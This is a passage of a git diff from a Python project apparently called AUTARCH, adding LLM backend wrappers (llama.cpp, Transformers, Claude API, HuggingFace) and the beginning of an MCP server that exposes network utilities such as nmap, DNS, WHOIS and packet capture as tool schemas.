Top-k sampling parameter. Uses config default if None. + repeat_penalty: Repetition penalty. Uses config default if None. + stop: List of stop sequences. + stream: If True, yields tokens as they're generated. + + Returns: + Generated text string, or generator if stream=True. + + Raises: + LLMError: If no model is loaded or generation fails. + """ + if not self.is_loaded: + raise LLMError("No model loaded. Call load_model() first.") + + # Get defaults from config + settings = self.config.get_llama_settings() + + params = { + 'max_tokens': max_tokens or settings['max_tokens'], + 'temperature': temperature if temperature is not None else settings['temperature'], + 'top_p': top_p if top_p is not None else settings['top_p'], + 'top_k': top_k if top_k is not None else settings['top_k'], + 'repeat_penalty': repeat_penalty if repeat_penalty is not None else settings['repeat_penalty'], + 'stop': stop or [], + 'stream': stream, + } + + try: + if stream: + return self._stream_generate(prompt, params) + else: + response = self._model(prompt, **params) + return response['choices'][0]['text'] + + except Exception as e: + raise LLMError(f"Generation failed: {e}") + + def _stream_generate(self, prompt: str, params: dict) -> Generator[str, None, None]: + """Internal streaming generation method. + + Args: + prompt: The input prompt. + params: Generation parameters. + + Yields: + Token strings as they're generated. + """ + try: + for chunk in self._model(prompt, **params): + token = chunk['choices'][0]['text'] + yield token + except Exception as e: + raise LLMError(f"Streaming generation failed: {e}") + + def chat( + self, + message: str, + system_prompt: str = None, + stream: bool = False, + **kwargs + ) -> str | Generator[str, None, None]: + """Chat-style interaction with conversation history. + + Args: + message: User message. + system_prompt: Optional system prompt (used on first message). + stream: If True, yields tokens as they're generated. + **kwargs: Additional parameters passed to generate(). + + Returns: + Assistant response string, or generator if stream=True. + """ + if not self.is_loaded: + raise LLMError("No model loaded. Call load_model() first.") + + # Initialize with system prompt if provided and history is empty + if system_prompt and not self._chat_history: + self._chat_history.append({ + 'role': 'system', + 'content': system_prompt + }) + + # Add user message to history + self._chat_history.append({ + 'role': 'user', + 'content': message + }) + + # Build prompt from history + prompt = self._build_chat_prompt() + + # Generate response + if stream: + return self._stream_chat(prompt, kwargs) + else: + response = self.generate(prompt, stream=False, **kwargs) + # Clean up response and add to history + response = response.strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': response + }) + return response + + def _stream_chat(self, prompt: str, kwargs: dict) -> Generator[str, None, None]: + """Internal streaming chat method. + + Args: + prompt: The formatted prompt. + kwargs: Generation parameters. + + Yields: + Token strings as they're generated. + """ + full_response = [] + for token in self.generate(prompt, stream=True, **kwargs): + full_response.append(token) + yield token + + # Add complete response to history + response = ''.join(full_response).strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': response + }) + + def _build_chat_prompt(self) -> str: + """Build a chat prompt from conversation history. + + Returns: + Formatted prompt string. + """ + # ChatML-style format (works with many models) + prompt_parts = [] + + for msg in self._chat_history: + role = msg['role'] + content = msg['content'] + + if role == 'system': + prompt_parts.append(f"<|im_start|>system\n{content}<|im_end|>") + elif role == 'user': + prompt_parts.append(f"<|im_start|>user\n{content}<|im_end|>") + elif role == 'assistant': + prompt_parts.append(f"<|im_start|>assistant\n{content}<|im_end|>") + + # Add assistant prompt for generation + prompt_parts.append("<|im_start|>assistant\n") + + return "\n".join(prompt_parts) + + def clear_history(self): + """Clear the conversation history.""" + self._chat_history.clear() + + def get_history(self) -> List[Dict[str, str]]: + """Get the current conversation history. + + Returns: + List of message dictionaries with 'role' and 'content' keys. + """ + return self._chat_history.copy() + + def set_history(self, history: List[Dict[str, str]]): + """Set the conversation history. + + Args: + history: List of message dictionaries. + """ + self._chat_history = history.copy() + + def get_model_info(self) -> Dict[str, Any]: + """Get information about the loaded model. + + Returns: + Dictionary with model information. + """ + if not self.is_loaded: + return {'loaded': False} + + return { + 'loaded': True, + 'model_path': self._model_path, + 'model_name': self.model_name, + 'n_ctx': self._model.n_ctx(), + 'n_vocab': self._model.n_vocab(), + } + + +class TransformersLLM: + """HuggingFace Transformers backend for safetensors models.""" + + def __init__(self, config=None): + self.config = config or get_config() + self._model = None + self._tokenizer = None + self._model_path = None + self._device = None + self._chat_history: List[Dict[str, str]] = [] + + @property + def is_loaded(self) -> bool: + return self._model is not None and self._tokenizer is not None + + @property + def model_name(self) -> str: + if self._model_path: + return Path(self._model_path).name + return "No model loaded" + + def load_model(self, model_path: str = None, verbose: bool = False) -> bool: + """Load a safetensors model using HuggingFace Transformers. + + Args: + model_path: Path to model directory OR HuggingFace model ID + (e.g., 'segolilylabs/Lily-Cybersecurity-7B-v0.2'). + Uses config if not provided. + verbose: Whether to show loading progress. + + Returns: + True if model loaded successfully. + + Raises: + LLMError: If model loading fails. + """ + try: + import torch + from transformers import AutoModelForCausalLM, AutoTokenizer + except ImportError as e: + raise LLMError(f"transformers/torch not installed: {e}\nInstall with: pip install transformers torch") + + # Get model path from config if not provided + if model_path is None: + model_path = self.config.get('transformers', 'model_path', '') + + if not model_path: + raise LLMError("No model path configured. Run setup first.") + + # Determine if this is a local path or HuggingFace model ID + model_id = model_path # For from_pretrained() + is_local = False + + local_path = Path(model_path).expanduser() + if local_path.exists(): + if self._is_valid_model_dir(local_path): + is_local = True + model_id = str(local_path) + else: + raise LLMError(f"Invalid model directory. Expected safetensors files in: {local_path}") + elif '/' in model_path and not model_path.startswith('/'): + # Looks like a HuggingFace model ID (e.g., 'org/model-name') + is_local = False + model_id = model_path + else: + raise LLMError(f"Model not found: {model_path}\nProvide a local path or HuggingFace model ID (e.g., 'segolilylabs/Lily-Cybersecurity-7B-v0.2')") + + settings = self.config.get_transformers_settings() + + if verbose: + display_name = Path(model_id).name if is_local else model_id + print(f"{Colors.CYAN}[*] Loading model: {display_name}{Colors.RESET}") + if not is_local: + print(f"{Colors.DIM} (from HuggingFace Hub/cache){Colors.RESET}") + + try: + # Determine device + if settings['device'] == 'auto': + if torch.cuda.is_available(): + self._device = 'cuda' + elif hasattr(torch.backends, 'mps') and torch.backends.mps.is_available(): + self._device = 'mps' + else: + self._device = 'cpu' + else: + self._device = settings['device'] + + if verbose: + print(f"{Colors.DIM} Device: {self._device}{Colors.RESET}") + + # Determine dtype + if settings['torch_dtype'] == 'auto': + torch_dtype = torch.float16 if self._device != 'cpu' else torch.float32 + elif settings['torch_dtype'] == 'float16': + torch_dtype = torch.float16 + elif settings['torch_dtype'] == 'bfloat16': + torch_dtype = torch.bfloat16 + else: + torch_dtype = torch.float32 + + # Load tokenizer + if verbose: + print(f"{Colors.DIM} Loading tokenizer...{Colors.RESET}") + self._tokenizer = AutoTokenizer.from_pretrained( + model_id, + trust_remote_code=settings['trust_remote_code'] + ) + + # Prepare model loading kwargs + device_map_cfg = settings.get('device_map', 'auto') or 'auto' + model_kwargs = { + 'torch_dtype': torch_dtype, + 'trust_remote_code': settings['trust_remote_code'], + 'device_map': device_map_cfg if self._device != 'cpu' else None, + } + + # Handle quantization — requires bitsandbytes (Linux/CUDA only) + _bnb_ok = False + try: + import bitsandbytes # noqa: F401 + _bnb_ok = True + except (ImportError, Exception): + pass + + if settings['load_in_8bit'] or settings['load_in_4bit']: + if _bnb_ok: + if settings['load_in_8bit']: + model_kwargs['load_in_8bit'] = True + # Enable FP32 CPU offload if requested — required when model layers + # are dispatched to CPU/disk during 8-bit quantization + if settings.get('llm_int8_enable_fp32_cpu_offload', False): + model_kwargs['llm_int8_enable_fp32_cpu_offload'] = True + _llm_logger.info("[LLM] llm_int8_enable_fp32_cpu_offload=True enabled") + if verbose: + print(f"{Colors.DIM} Loading in 8-bit quantization...{Colors.RESET}") + elif settings['load_in_4bit']: + model_kwargs['load_in_4bit'] = True + if verbose: + print(f"{Colors.DIM} Loading in 4-bit quantization...{Colors.RESET}") + else: + _llm_logger.warning( + "[LLM] load_in_8bit/load_in_4bit requested but bitsandbytes is not installed " + "(Windows is not supported). Loading without quantization." + ) + + # Load model + if verbose: + print(f"{Colors.DIM} Loading model weights...{Colors.RESET}") + self._model = AutoModelForCausalLM.from_pretrained( + model_id, + **model_kwargs + ) + + # Move to device if not using device_map + if 'device_map' not in model_kwargs or model_kwargs['device_map'] is None: + self._model = self._model.to(self._device) + + self._model.eval() + self._model_path = model_id + + if verbose: + print(f"{Colors.GREEN}[+] Model loaded successfully{Colors.RESET}") + + return True + + except Exception as e: + self._model = None + self._tokenizer = None + self._model_path = None + raise LLMError(f"Failed to load model: {e}") + + def _is_valid_model_dir(self, path: Path) -> bool: + """Check if directory contains a valid safetensors model.""" + if not path.is_dir(): + return False + + # Check for safetensors files + safetensor_files = list(path.glob("*.safetensors")) + if safetensor_files: + return True + + # Check for model index + index_file = path / "model.safetensors.index.json" + if index_file.exists(): + return True + + # Check for config.json (indicates HF model) + config_file = path / "config.json" + if config_file.exists(): + return True + + return False + + def unload_model(self): + """Unload the current model and free resources.""" + if self._model is not None: + del self._model + self._model = None + if self._tokenizer is not None: + del self._tokenizer + self._tokenizer = None + self._model_path = None + self._device = None + self._chat_history.clear() + + # Clear GPU cache if available + try: + import torch + if torch.cuda.is_available(): + torch.cuda.empty_cache() + except ImportError: + pass + + def generate( + self, + prompt: str, + max_tokens: int = None, + temperature: float = None, + top_p: float = None, + top_k: int = None, + repeat_penalty: float = None, + stop: List[str] = None, + stream: bool = False + ) -> str | Generator[str, None, None]: + """Generate text completion using transformers.""" + if not self.is_loaded: + raise LLMError("No model loaded. Call load_model() first.") + + try: + import torch + except ImportError: + raise LLMError("torch not installed") + + settings = self.config.get_transformers_settings() + + # Tokenize input + inputs = self._tokenizer(prompt, return_tensors="pt") + inputs = {k: v.to(self._device) for k, v in inputs.items()} + + # Generation parameters + gen_kwargs = { + 'max_new_tokens': max_tokens or settings['max_tokens'], + 'temperature': temperature if temperature is not None else settings['temperature'], + 'top_p': top_p if top_p is not None else settings['top_p'], + 'top_k': top_k if top_k is not None else settings['top_k'], + 'repetition_penalty': repeat_penalty if repeat_penalty is not None else settings['repetition_penalty'], + 'do_sample': True, + 'pad_token_id': self._tokenizer.eos_token_id, + } + + # Handle temperature=0 + if gen_kwargs['temperature'] == 0: + gen_kwargs['do_sample'] = False + del gen_kwargs['temperature'] + del gen_kwargs['top_p'] + del gen_kwargs['top_k'] + + try: + if stream: + return self._stream_generate(inputs, gen_kwargs, stop) + else: + with torch.no_grad(): + outputs = self._model.generate(**inputs, **gen_kwargs) + # Decode only the new tokens + response = self._tokenizer.decode( + outputs[0][inputs['input_ids'].shape[1]:], + skip_special_tokens=True + ) + # Handle stop sequences + if stop: + for stop_seq in stop: + if stop_seq in response: + response = response.split(stop_seq)[0] + return response + + except Exception as e: + raise LLMError(f"Generation failed: {e}") + + def _stream_generate(self, inputs: dict, gen_kwargs: dict, stop: List[str] = None) -> Generator[str, None, None]: + """Internal streaming generation using TextIteratorStreamer.""" + try: + import torch + from transformers import TextIteratorStreamer + from threading import Thread + except ImportError as e: + raise LLMError(f"Required packages not installed: {e}") + + streamer = TextIteratorStreamer( + self._tokenizer, + skip_prompt=True, + skip_special_tokens=True + ) + gen_kwargs['streamer'] = streamer + + # Run generation in background thread + thread = Thread(target=lambda: self._model.generate(**inputs, **gen_kwargs)) + thread.start() + + # Yield tokens as they're generated + full_text = "" + for text in streamer: + # Check for stop sequences + if stop: + for stop_seq in stop: + if stop_seq in text: + text = text.split(stop_seq)[0] + yield text + return + full_text += text + yield text + + thread.join() + + def chat( + self, + message: str, + system_prompt: str = None, + stream: bool = False, + **kwargs + ) -> str | Generator[str, None, None]: + """Chat-style interaction with conversation history.""" + if not self.is_loaded: + raise LLMError("No model loaded. Call load_model() first.") + + # Initialize with system prompt if provided and history is empty + if system_prompt and not self._chat_history: + self._chat_history.append({ + 'role': 'system', + 'content': system_prompt + }) + + # Add user message to history + self._chat_history.append({ + 'role': 'user', + 'content': message + }) + + # Build prompt from history + prompt = self._build_chat_prompt() + + # Generate response + if stream: + return self._stream_chat(prompt, kwargs) + else: + response = self.generate(prompt, stream=False, **kwargs) + response = response.strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': response + }) + return response + + def _stream_chat(self, prompt: str, kwargs: dict) -> Generator[str, None, None]: + """Internal streaming chat method.""" + full_response = [] + for token in self.generate(prompt, stream=True, **kwargs): + full_response.append(token) + yield token + + response = ''.join(full_response).strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': response + }) + + def _build_chat_prompt(self) -> str: + """Build a chat prompt from conversation history.""" + # Try to use the tokenizer's chat template if available + if hasattr(self._tokenizer, 'apply_chat_template'): + try: + return self._tokenizer.apply_chat_template( + self._chat_history, + tokenize=False, + add_generation_prompt=True + ) + except Exception: + pass + + # Fallback to ChatML format + prompt_parts = [] + for msg in self._chat_history: + role = msg['role'] + content = msg['content'] + if role == 'system': + prompt_parts.append(f"<|im_start|>system\n{content}<|im_end|>") + elif role == 'user': + prompt_parts.append(f"<|im_start|>user\n{content}<|im_end|>") + elif role == 'assistant': + prompt_parts.append(f"<|im_start|>assistant\n{content}<|im_end|>") + + prompt_parts.append("<|im_start|>assistant\n") + return "\n".join(prompt_parts) + + def clear_history(self): + """Clear the conversation history.""" + self._chat_history.clear() + + def get_history(self) -> List[Dict[str, str]]: + """Get the current conversation history.""" + return self._chat_history.copy() + + def set_history(self, history: List[Dict[str, str]]): + """Set the conversation history.""" + self._chat_history = history.copy() + + def get_model_info(self) -> Dict[str, Any]: + """Get information about the loaded model.""" + if not self.is_loaded: + return {'loaded': False} + + info = { + 'loaded': True, + 'model_path': self._model_path, + 'model_name': self.model_name, + 'device': self._device, + 'backend': 'transformers', + } + + # Add vocab size if available + if hasattr(self._tokenizer, 'vocab_size'): + info['vocab_size'] = self._tokenizer.vocab_size + + return info + + +class ClaudeLLM: + """Claude API backend implementing the same interface as LLM.""" + + def __init__(self, config=None): + self.config = config or get_config() + self._client = None + self._model = None + self._chat_history: List[Dict[str, str]] = [] + + @property + def is_loaded(self) -> bool: + return self._client is not None + + @property + def model_name(self) -> str: + if self._model: + return self._model + return "No model loaded" + + def load_model(self, model_path: str = None, verbose: bool = False) -> bool: + """Initialize the Anthropic client. + + Args: + model_path: Ignored for Claude (model set in config). + verbose: Whether to show status messages. + + Returns: + True if client initialized successfully. + + Raises: + LLMError: If initialization fails. + """ + try: + import anthropic + except ImportError as e: + raise LLMError(f"anthropic package not installed: {e}") + + import os + settings = self.config.get_claude_settings() + api_key = settings['api_key'] or os.environ.get('ANTHROPIC_API_KEY', '') + + if not api_key: + raise LLMError( + "No Claude API key found. Set it in autarch_settings.conf [claude] section " + "or export ANTHROPIC_API_KEY environment variable." + ) + + self._model = settings['model'] + + if verbose: + print(f"{Colors.CYAN}[*] Initializing Claude API: {self._model}{Colors.RESET}") + + try: + self._client = anthropic.Anthropic(api_key=api_key) + if verbose: + print(f"{Colors.GREEN}[+] Claude API ready{Colors.RESET}") + return True + except Exception as e: + self._client = None + self._model = None + raise LLMError(f"Failed to initialize Claude client: {e}") + + def unload_model(self): + """Clear the client and history.""" + self._client = None + self._model = None + self._chat_history.clear() + + def generate( + self, + prompt: str, + max_tokens: int = None, + temperature: float = None, + top_p: float = None, + top_k: int = None, + repeat_penalty: float = None, + stop: List[str] = None, + stream: bool = False + ) -> str | Generator[str, None, None]: + """Generate text from a prompt via Claude API. + + The prompt is sent as a single user message. + """ + if not self.is_loaded: + raise LLMError("Claude client not initialized. Call load_model() first.") + + settings = self.config.get_claude_settings() + + params = { + 'model': self._model, + 'max_tokens': max_tokens or settings['max_tokens'], + 'messages': [{'role': 'user', 'content': prompt}], + } + + temp = temperature if temperature is not None else settings['temperature'] + if temp is not None: + params['temperature'] = temp + if top_p is not None: + params['top_p'] = top_p + if top_k is not None: + params['top_k'] = top_k + if stop: + params['stop_sequences'] = stop + + try: + if stream: + return self._stream_generate(params) + else: + response = self._client.messages.create(**params) + return response.content[0].text + except Exception as e: + raise LLMError(f"Claude generation failed: {e}") + + def _stream_generate(self, params: dict) -> Generator[str, None, None]: + """Internal streaming generation.""" + try: + with self._client.messages.stream(**params) as stream: + for text in stream.text_stream: + yield text + except Exception as e: + raise LLMError(f"Claude streaming failed: {e}") + + def chat( + self, + message: str, + system_prompt: str = None, + stream: bool = False, + **kwargs + ) -> str | Generator[str, None, None]: + """Chat-style interaction with conversation history via Claude API.""" + if not self.is_loaded: + raise LLMError("Claude client not initialized. Call load_model() first.") + + # Store system prompt in history for tracking (same as LLM) + if system_prompt and not self._chat_history: + self._chat_history.append({ + 'role': 'system', + 'content': system_prompt + }) + + # Add user message to history + self._chat_history.append({ + 'role': 'user', + 'content': message + }) + + # Build API call from history + system_text = None + messages = [] + for msg in self._chat_history: + if msg['role'] == 'system': + system_text = msg['content'] + else: + messages.append({'role': msg['role'], 'content': msg['content']}) + + settings = self.config.get_claude_settings() + + params = { + 'model': self._model, + 'max_tokens': kwargs.get('max_tokens', settings['max_tokens']), + 'messages': messages, + } + + if system_text: + params['system'] = system_text + + temp = kwargs.get('temperature', settings['temperature']) + if temp is not None: + params['temperature'] = temp + if 'top_p' in kwargs: + params['top_p'] = kwargs['top_p'] + if 'top_k' in kwargs: + params['top_k'] = kwargs['top_k'] + if 'stop' in kwargs and kwargs['stop']: + params['stop_sequences'] = kwargs['stop'] + + try: + if stream: + return self._stream_chat(params) + else: + response = self._client.messages.create(**params) + text = response.content[0].text.strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': text + }) + return text + except Exception as e: + raise LLMError(f"Claude chat failed: {e}") + + def _stream_chat(self, params: dict) -> Generator[str, None, None]: + """Internal streaming chat method.""" + full_response = [] + try: + with self._client.messages.stream(**params) as stream: + for text in stream.text_stream: + full_response.append(text) + yield text + except Exception as e: + raise LLMError(f"Claude streaming chat failed: {e}") + + response = ''.join(full_response).strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': response + }) + + def clear_history(self): + """Clear the conversation history.""" + self._chat_history.clear() + + def get_history(self) -> List[Dict[str, str]]: + """Get the current conversation history.""" + return self._chat_history.copy() + + def set_history(self, history: List[Dict[str, str]]): + """Set the conversation history.""" + self._chat_history = history.copy() + + def get_model_info(self) -> Dict[str, Any]: + """Get information about the Claude model.""" + if not self.is_loaded: + return {'loaded': False} + + return { + 'loaded': True, + 'model_path': 'Claude API', + 'model_name': self.model_name, + 'backend': 'claude', + } + + +class HuggingFaceLLM: + """HuggingFace Inference API backend implementing the same interface as LLM. + + Uses the huggingface_hub InferenceClient to call HF-hosted models + or any compatible text-generation-inference endpoint. + """ + + def __init__(self, config=None): + self.config = config or get_config() + self._client = None + self._model = None + self._chat_history: List[Dict[str, str]] = [] + + @property + def is_loaded(self) -> bool: + return self._client is not None + + @property + def model_name(self) -> str: + if self._model: + return self._model + return "No model loaded" + + def load_model(self, model_path: str = None, verbose: bool = False) -> bool: + """Initialize the HuggingFace Inference client.""" + try: + from huggingface_hub import InferenceClient + except ImportError as e: + raise LLMError(f"huggingface_hub package not installed: {e}") + + import os + settings = self._get_settings() + api_key = settings.get('api_key', '') or os.environ.get('HF_TOKEN', '') or os.environ.get('HUGGING_FACE_HUB_TOKEN', '') + model = model_path or settings.get('model', 'mistralai/Mistral-7B-Instruct-v0.3') + endpoint = settings.get('endpoint', '') + + self._model = model + + if verbose: + print(f"{Colors.CYAN}[*] Initializing HuggingFace Inference: {self._model}{Colors.RESET}") + if endpoint: + print(f"{Colors.DIM} Endpoint: {endpoint}{Colors.RESET}") + + try: + kwargs = {} + if api_key: + kwargs['token'] = api_key + if endpoint: + kwargs['model'] = endpoint + else: + kwargs['model'] = model + + self._client = InferenceClient(**kwargs) + + if verbose: + print(f"{Colors.GREEN}[+] HuggingFace Inference ready{Colors.RESET}") + return True + except Exception as e: + self._client = None + self._model = None + raise LLMError(f"Failed to initialize HuggingFace client: {e}") + + def _get_settings(self) -> dict: + """Get HuggingFace settings from config.""" + return { + 'api_key': self.config.get('huggingface', 'api_key', fallback=''), + 'model': self.config.get('huggingface', 'model', fallback='mistralai/Mistral-7B-Instruct-v0.3'), + 'endpoint': self.config.get('huggingface', 'endpoint', fallback=''), + 'max_tokens': int(self.config.get('huggingface', 'max_tokens', fallback='1024')), + 'temperature': float(self.config.get('huggingface', 'temperature', fallback='0.7')), + 'top_p': float(self.config.get('huggingface', 'top_p', fallback='0.9')), + } + + def unload_model(self): + """Clear the client and history.""" + self._client = None + self._model = None + self._chat_history.clear() + + def generate( + self, + prompt: str, + max_tokens: int = None, + temperature: float = None, + top_p: float = None, + top_k: int = None, + repeat_penalty: float = None, + stop: List[str] = None, + stream: bool = False + ) -> str | Generator[str, None, None]: + """Generate text via HuggingFace Inference API.""" + if not self.is_loaded: + raise LLMError("HuggingFace client not initialized. Call load_model() first.") + + settings = self._get_settings() + + params = { + 'max_new_tokens': max_tokens or settings['max_tokens'], + 'temperature': temperature if temperature is not None else settings['temperature'], + 'top_p': top_p if top_p is not None else settings['top_p'], + } + if top_k is not None: + params['top_k'] = top_k + if repeat_penalty is not None: + params['repetition_penalty'] = repeat_penalty + if stop: + params['stop_sequences'] = stop + + try: + if stream: + return self._stream_generate(prompt, params) + else: + response = self._client.text_generation( + prompt, + **params + ) + return response + except Exception as e: + raise LLMError(f"HuggingFace generation failed: {e}") + + def _stream_generate(self, prompt: str, params: dict) -> Generator[str, None, None]: + """Internal streaming generation.""" + try: + for token in self._client.text_generation( + prompt, + stream=True, + **params + ): + yield token + except Exception as e: + raise LLMError(f"HuggingFace streaming failed: {e}") + + def chat( + self, + message: str, + system_prompt: str = None, + stream: bool = False, + **kwargs + ) -> str | Generator[str, None, None]: + """Chat-style interaction via HuggingFace Inference API.""" + if not self.is_loaded: + raise LLMError("HuggingFace client not initialized. Call load_model() first.") + + if system_prompt and not self._chat_history: + self._chat_history.append({ + 'role': 'system', + 'content': system_prompt + }) + + self._chat_history.append({ + 'role': 'user', + 'content': message + }) + + # Build messages for chat completion + messages = [] + for msg in self._chat_history: + messages.append({'role': msg['role'], 'content': msg['content']}) + + settings = self._get_settings() + + try: + if stream: + return self._stream_chat(messages, settings, kwargs) + else: + response = self._client.chat_completion( + messages=messages, + max_tokens=kwargs.get('max_tokens', settings['max_tokens']), + temperature=kwargs.get('temperature', settings['temperature']), + ) + text = response.choices[0].message.content.strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': text + }) + return text + except Exception as e: + raise LLMError(f"HuggingFace chat failed: {e}") + + def _stream_chat(self, messages: list, settings: dict, kwargs: dict) -> Generator[str, None, None]: + """Internal streaming chat.""" + full_response = [] + try: + stream = self._client.chat_completion( + messages=messages, + max_tokens=kwargs.get('max_tokens', settings['max_tokens']), + temperature=kwargs.get('temperature', settings['temperature']), + stream=True, + ) + for chunk in stream: + if chunk.choices and chunk.choices[0].delta.content: + text = chunk.choices[0].delta.content + full_response.append(text) + yield text + except Exception as e: + raise LLMError(f"HuggingFace streaming chat failed: {e}") + + response = ''.join(full_response).strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': response + }) + + def clear_history(self): + self._chat_history.clear() + + def get_history(self) -> List[Dict[str, str]]: + return self._chat_history.copy() + + def set_history(self, history: List[Dict[str, str]]): + self._chat_history = history.copy() + + def get_model_info(self) -> Dict[str, Any]: + if not self.is_loaded: + return {'loaded': False} + settings = self._get_settings() + return { + 'loaded': True, + 'model_path': settings.get('endpoint', '') or 'HuggingFace Hub', + 'model_name': self.model_name, + 'backend': 'huggingface', + } + + +# Global LLM instance +_llm_instance = None + + +def get_llm(): + """Get the global LLM instance, auto-loading the model if needed. + + Returns the appropriate backend (LLM, TransformersLLM, ClaudeLLM, or HuggingFaceLLM) based on config. + """ + global _llm_instance + if _llm_instance is None: + config = get_config() + backend = config.get('autarch', 'llm_backend', 'local') + _llm_logger.info(f"[LLM] Initializing backend: {backend}") + + try: + if backend == 'claude': + settings = config.get_claude_settings() + _llm_logger.info(f"[LLM] Claude model: {settings['model']} | API key set: {bool(settings['api_key'])}") + _llm_instance = ClaudeLLM(config) + _llm_instance.load_model() + _llm_logger.info(f"[LLM] Claude client ready: {settings['model']}") + + elif backend == 'transformers': + settings = config.get_transformers_settings() + _llm_logger.info(f"[LLM] Transformers model: {settings['model_path']} | device: {settings['device']}") + _llm_instance = TransformersLLM(config) + if settings['model_path']: + _llm_instance.load_model() + _llm_logger.info(f"[LLM] Transformers model loaded: {settings['model_path']}") + else: + _llm_logger.warning("[LLM] No transformers model path configured — set one in LLM Settings") + + elif backend == 'huggingface': + hf = config.get_huggingface_settings() + _llm_logger.info(f"[LLM] HuggingFace model: {hf['model']} | provider: {hf.get('provider','auto')} | API key set: {bool(hf['api_key'])}") + _llm_instance = HuggingFaceLLM(config) + _llm_instance.load_model() + _llm_logger.info(f"[LLM] HuggingFace client ready: {hf['model']}") + + else: # local / llama.cpp + settings = config.get_llama_settings() + _llm_logger.info(f"[LLM] llama.cpp model: {settings['model_path']} | n_ctx: {settings['n_ctx']} | n_gpu_layers: {settings['n_gpu_layers']} | threads: {settings['n_threads']}") + _llm_instance = LLM(config) + if settings['model_path']: + _llm_instance.load_model() + _llm_logger.info(f"[LLM] llama.cpp model loaded: {settings['model_path']}") + else: + _llm_logger.warning("[LLM] No local model path configured — set one in LLM Settings") + + except Exception as exc: + _llm_logger.error(f"[LLM] Failed to load backend '{backend}': {exc}", exc_info=True) + _llm_instance = None + raise + + return _llm_instance + + +def detect_model_type(path: str) -> str: + """Detect the type of model at the given path. + + Args: + path: Path to model file or directory + + Returns: + 'gguf' for GGUF files, 'transformers' for safetensors directories, + 'unknown' if cannot be determined + """ + path = Path(path).expanduser() + + if not path.exists(): + return 'unknown' + + # Check for GGUF file + if path.is_file(): + if path.suffix.lower() == '.gguf': + return 'gguf' + # Some GGUF files might not have .gguf extension + # Check magic bytes + try: + with open(path, 'rb') as f: + magic = f.read(4) + if magic == b'GGUF': + return 'gguf' + except Exception: + pass + + # Check for transformers/safetensors directory + if path.is_dir(): + # Check for safetensors files + safetensor_files = list(path.glob("*.safetensors")) + if safetensor_files: + return 'transformers' + + # Check for model index + index_file = path / "model.safetensors.index.json" + if index_file.exists(): + return 'transformers' + + # Check for config.json (indicates HF model) + config_file = path / "config.json" + if config_file.exists(): + # Could be safetensors or pytorch + if list(path.glob("*.safetensors")) or (path / "model.safetensors.index.json").exists(): + return 'transformers' + # Check for pytorch files too + if list(path.glob("*.bin")) or (path / "pytorch_model.bin").exists(): + return 'transformers' + + return 'unknown' + + +def reset_llm(): + """Reset the global LLM instance (used when switching backends).""" + global _llm_instance + if _llm_instance is not None: + _llm_logger.info("[LLM] Unloading current model instance") + _llm_instance.unload_model() + _llm_instance = None + _llm_logger.info("[LLM] Instance reset — next call to get_llm() will reload") diff --git a/core/mcp_server.py b/core/mcp_server.py new file mode 100644 index 0000000..c8d8d76 --- /dev/null +++ b/core/mcp_server.py @@ -0,0 +1,585 @@ +""" +AUTARCH MCP Server +Exposes AUTARCH tools via Model Context Protocol (MCP) +for use with Claude Desktop, Claude Code, and other MCP clients. +""" + +import sys +import os +import json +import socket +import subprocess +import threading +from pathlib import Path +from typing import Optional + +# Ensure core is importable +_app_dir = Path(__file__).resolve().parent.parent +if str(_app_dir) not in sys.path: + sys.path.insert(0, str(_app_dir)) + +from core.config import get_config +from core.paths import find_tool, get_app_dir + +# MCP server state +_server_process = None +_server_thread = None + + +def get_autarch_tools(): + """Build the list of AUTARCH tools to expose via MCP.""" + tools = [] + + # ── Network Scanning ── + tools.append({ + 'name': 'nmap_scan', + 'description': 'Run an nmap scan against a target. Returns scan results.', + 'params': { + 'target': {'type': 'string', 'description': 'Target IP, hostname, or CIDR range', 'required': True}, + 'ports': {'type': 'string', 'description': 'Port specification (e.g. "22,80,443" or "1-1024")', 'required': False}, + 'scan_type': {'type': 'string', 'description': 'Scan type: quick, full, stealth, vuln', 'required': False}, + } + }) + + # ── GeoIP Lookup ── + tools.append({ + 'name': 'geoip_lookup', + 'description': 'Look up geographic and network information for an IP address.', + 'params': { + 'ip': {'type': 'string', 'description': 'IP address to look up', 'required': True}, + } + }) + + # ── DNS Lookup ── + tools.append({ + 'name': 'dns_lookup', + 'description': 'Perform DNS lookups for a domain.', + 'params': { + 'domain': {'type': 'string', 'description': 'Domain name to look up', 'required': True}, + 'record_type': {'type': 'string', 'description': 'Record type: A, AAAA, MX, NS, TXT, CNAME, SOA', 'required': False}, + } + }) + + # ── WHOIS ── + tools.append({ + 'name': 'whois_lookup', + 'description': 'Perform WHOIS lookup for a domain or IP.', + 'params': { + 'target': {'type': 'string', 'description': 'Domain or IP to look up', 'required': True}, + } + }) + + # ── Packet Capture ── + tools.append({ + 'name': 'packet_capture', + 'description': 'Capture network packets using tcpdump. Returns captured packet summary.', + 'params': { + 'interface': {'type': 'string', 'description': 'Network interface (e.g. eth0, wlan0)', 'required': False}, + 'count': {'type': 'integer', 'description': 'Number of packets to capture (default 10)', 'required': False}, + 'filter': {'type': 'string', 'description': 'BPF filter expression', 'required': False}, + } + }) + + # ── WireGuard Status ── + tools.append({ + 'name': 'wireguard_status', + 'description': 'Get WireGuard VPN tunnel status and peer information.', + 'params': {} + }) + + # ── UPnP Status ── + tools.append({ + 'name': 'upnp_status', + 'description': 'Get UPnP port mapping status.', + 'params': {} + }) + + # ── System Info ── + tools.append({ + 'name': 'system_info', + 'description': 'Get AUTARCH system information: hostname, platform, uptime, tool availability.', + 'params': {} + }) + + # ── LLM Chat ── + tools.append({ + 'name': 'llm_chat', + 'description': 'Send a message to the currently configured LLM backend and get a response.', + 'params': { + 'message': {'type': 'string', 'description': 'Message to send to the LLM', 'required': True}, + 'system_prompt': {'type': 'string', 'description': 'Optional system prompt', 'required': False}, + } + }) + + # ── Android Device Info ── + tools.append({ + 'name': 'android_devices', + 'description': 'List connected Android devices via ADB.', + 'params': {} + }) + + # ── Config Get/Set ── + tools.append({ + 'name': 'config_get', + 'description': 'Get an AUTARCH configuration value.', + 'params': { + 'section': {'type': 'string', 'description': 'Config section (e.g. autarch, llama, wireguard)', 'required': True}, + 'key': {'type': 'string', 'description': 'Config key', 